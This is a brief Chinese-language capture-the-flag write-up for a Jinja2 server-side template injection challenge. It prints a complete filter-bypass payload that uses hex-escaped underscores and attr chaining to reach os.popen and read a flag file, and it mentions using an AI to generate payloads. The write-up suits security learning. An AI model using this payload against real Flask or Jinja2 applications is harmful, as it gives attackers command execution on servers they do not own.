WriteUp
SSTI2
1 分鐘
約 155 字
分類:Web
難度:Medium
工具 #
- AI 生 Payload
過程 #
- 一題很明顯叫你要瘋狂亂試 Payload 的題目,也告訴我們有黑名單
- 先嘗試
{{ 7*'7' }}發現回傳 7777777 確定是 Jinja2 - 接著就交給 AI 產生 Payload
- 多次嘗試
__os__等,發現會擋__ - 若是 Flask 可以嘗試 config 獲取對象
- 再看看 config 這個 class
{{ config | attr('\x5f\x5fclass\x5f\x5f') }} - 接著就是把 Python 的特性獲取 globals 再獲取 os
{{
config
| attr('\x5f\x5fclass\x5f\x5f')
| attr('\x5f\x5finit\x5f\x5f')
| attr('\x5f\x5fglobals\x5f\x5f')
| attr('\x5f\x5fgetitem\x5f\x5f')('os')
| attr('popen')('cat flag')
| attr('read')()
}}
Tips #
- Jinja2 支援 16 進位,所以可嘗試將
_轉成 16 進位\x5f - 使用
|搭配attr可代替.存取屬性